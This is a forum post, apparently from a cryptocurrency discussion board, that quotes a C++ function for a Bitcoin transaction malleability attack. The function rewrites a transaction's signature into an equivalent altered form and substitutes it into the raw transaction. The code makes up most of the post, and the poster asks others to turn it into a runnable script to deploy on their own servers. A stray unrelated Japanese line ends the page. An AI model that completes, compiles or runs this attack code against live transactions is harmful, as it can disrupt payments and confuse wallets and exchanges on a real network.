In a post here he posted the following function, which I assume is the main code for running his exploit:
static bool malle ( const QByteArray& d, const Transaction& tx, QByteArray& ret )
{
if ( d.size ( ) > 3000 ) // skip large txs
return false;
if ( tx.countInputs ( ) < 1 ) // paranoid check
{ return false; }
if ( tx.countOutputs ( ) < 1 ) // paranoid check
{ return false; }
for ( int i ( tx.countOutputs ( ) ); --i >= 0; )
if ( tx.isOutputP2SH ( i ) ) // i do not malle txs with p2sh outputs
return false;
const TxInput in ( tx.getInput ( ( qrand ( ) & 0xffff ) % tx.countInputs () ) ); // take random input
const QByteArray s0 ( in.getScript ( ) );
EvalScript escr ( s0 );
const QList<QByteArray> list ( escr.evaluateInput ( ) );
if ( list.size ( ) != 2 )
{ return false; }
const MyByteArray sig ( list.at ( 0 ) ); // take signature
char buf [64];
quint8 sighash;
if ( !sig.signatureRS ( buf, &sighash ) )
{ return false; } // unable to parse
if ( sighash != SIGHASH_ALL )
{ return false; }
const MyKey32 r ( buf );
const MyKey32 s ( buf + 32 );
QByteArray der;
der.append ( (char)0x30 );
der.append ( (char)0x00 );
int len ( 0 );
der.append ( (char)0x02 ); len++;
if ( r.at ( 0 ) == 0 )
{ return false; }
if ( ( r.at ( 0 ) & 0xFF ) < 0x80 )
{
der.append ( (char)0x20 ); len++;
der.append ( r ); len += 32;
}
else
{
der.append ( (char)0x21 ); len++;
der.append ( (char)0x00 ); len++;
der.append ( r ); len += 32;
}
QByteArray xder ( der );
const MyKey32 ss ( s.mirror ( ) );
der.append ( (char)0x02 ); len++;
if ( ss.at ( 0 ) == 0 )
{ return false; }
if ( ( ss.at ( 0 ) & 0xFF ) < 0x80 )
{ return false; }
else
{
der.append ( (char)0x21 ); len++;
der.append ( (char)0x00 ); len++;
der.append ( ss ); len += 32;
}
der.data ( ) [1] = len;
der.append ( (char)1 ); // SIGHASH_ALL
xder.append ( (char)0x02 );
if ( s.at ( 0 ) == 0 )
{ return false; }
if ( ( s.at ( 0 ) & 0xFF ) < 0x80 )
{
xder.append ( (char)0x20 );
xder.append ( s );
}
else
{ return false; }
xder.data ( ) [1] = len - 1;
xder.append ( (char)1 ); // SIGHASH_ALL
const int zsz ( strlen ( xder.toHex ( ).constData ( ) ) / 2 );
xder.prepend ( (char)zsz );
const int zsz1 ( der.size ( ) );
der.prepend ( (char)zsz1 );
QString str ( d.toHex ( ) );
if ( str.indexOf ( xder.toHex ( ).constData ( ) ) <= 0 )
{ return false; }
const int pos ( str.indexOf ( xder.toHex ( ).constData ( ) ) / 2 );
const int slen ( d.at ( pos - 1 ) );
xder.prepend ( (char)slen );
der.prepend ( (char) (slen + 1) );
if ( str.indexOf ( xder.toHex ( ).constData ( ) ) <= 0 )
{ return false; }
str.replace ( xder.toHex ( ).constData ( ), der.toHex ( ).constData ( ) ); // malle tx!
ret = QByteArray::fromHex ( str.toLatin1 ( ) );
return true;
}
I'm not a C++ developer. Can someone who is, use this code to create a compiling / runnable version of his script, which can be run by us on our own servers?
He also mentioned that he has his own framework and doesn't use magic beans core.
Calling /u/jstolfi , /u/AlisterMaclin
Edit: This function seems to be returning a boolean. Does it actually carry out the attack, or just return true/false on whether or not to carry out the attack?
ここには何もないようです